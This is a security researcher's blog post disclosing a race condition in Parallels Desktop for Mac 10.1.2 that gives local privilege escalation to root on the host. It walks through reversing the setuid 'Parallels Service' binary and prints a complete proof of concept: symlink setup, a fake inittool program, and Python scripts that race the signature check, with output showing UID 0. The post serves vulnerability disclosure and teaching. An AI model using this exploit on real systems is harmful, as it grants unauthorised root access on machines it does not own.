Skip to content

0-day race condition in Parallels Desktop for Mac (Local Privilege Escalation On Host)

January 8, 2015

This post is about a Parallels Desktop for Mac Local Privilege Escalation bug on host. (Unfortunately, not about escaping Virtual machine.) I suddenly found a root-setuid executable in a Parallels installed directory while i was cleaning up my disk. I’m using the latest version of the program which is 10.1.2 (28859) at this moment.

* Target: Parallels Desktop for Mac
* Version: 10.1.2 (28859) (Latest version, 8 Jan 2015)
* Bug class: Race condition
* Impact: Local Privilege Escalation on host

beist_air$ cd “/Applications/Parallels Desktop.app/Contents/MacOS/”
beist_air$ ls -al “Parallels Service”
-rwsr-sr-x 1 root accessibility 27376 1 8 13:24 Parallels Service

I wondered what “Parallels Service” is doing. And I have an IDA and why not go firing on it.

Then, you can see the entry point here.

service_entry_point

Now, I went to the function list and found an interesting one; ‘_execv

service_execv

Let’s check out what functions are calling _execv().

service_execv_cross

There is only one calling the execute function, here.

service_execv_call

And if you scroll up, you’ll see these basic blocks. I skipped how you can be reached here but after a bit of reverse engineering, it’ll turn out it’s just comparing your argv[1] to ‘inittool’. (For the record, there are more commands than ‘inittool’ such as service_start and service_stop. But it seems only ‘inittool’ can execute an executable.)

service_strcmp

beist_air$ ls -al inittool
-rwxr-xr-x@ 1 root wheel 23992 1 8 13:24 inittool

Scroll down to come back.

service_scroll_down

Wait, we spot this string. “error: failed to verify signature (%d)”

So, we can guess the sub_100002920() function verifies if it’s properly signed or not. The next screenshot is part of code of the function.

service_sign_check

We now name sub_100002920() as verify(). Now, let’s read the assembly code between verify() and execv() linearly.

service_linear

This code flow is weird. Where is race-condition-immune code between verify() and execv()? Bingo, there must be a race. If we win, we can get ‘root’ as our target binary is a root-setuid executable.

However, the ‘inittool’ that “Parallels Services” executes is reached via “Parallels Services”s own directory path. But we don’t have any write permission in the directory.

drwxr-xr-x 35 root wheel 1190 1 8 13:24 MacOS

We have a solution from very old school. Just do make a hard-link or soft-link. I think I’ve explained almost everything to exploit this super simple vulnerability. Let me root my own box.


beist_air$ cd ~
beist_air$ mkdir -p Contents/Resources/
beist_air$ cp “/Applications/Parallels Desktop.app/Contents/Resources/exceptions.list” Contents/Resources/
beist_air$ mkdir -p work/tmp/
beist_air$ ln -s “/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service” work/tmp/poc
beist_air$ cd work/tmp
beist_air$ ls -al poc
lrwxr-xr-x 1 beist_air staff 68 1 8 11:26 poc -> /Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service
beist_air$ cp “/Applications/Parallels Desktop.app/Contents/MacOS/inittool” inittool
beist_air$ cp inittool orig_inittool
beist_air$ cat fake_inittool.c
#include
#include
#include

int main() {
printf(“\nGot it! UID: %d\n”, getuid());
printf(“Got it! EUID: %d\n”, geteuid());
while(1);
}
beist_air$ gcc -o fake_inittool fake_inittool.c
beist_air$ cat race.py
import os
import sys

while 1:
os.system(“cp orig_inittool inittool”)
os.system(“cp fake_inittool inittool”)

beist_air$ cat run.py
import os
while 1:
os.system(“./poc inittool”)

beist_air$ python race.py &
beist_air$ python run.py
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
error: failed to verify signature (-67062)
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)





error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
./inittool: ./inittool: cannot execute binary file
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found

Got it! UID: 0
Got it! EUID: 0

After some seconds, I got the root shell. This is a race condition bug from like 90’s. It’s probably time to hunt some virtual machine escape bugs in it.

Enjoy.

Advertisements

From → Security Misc

댓글을 남겨주세요.

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: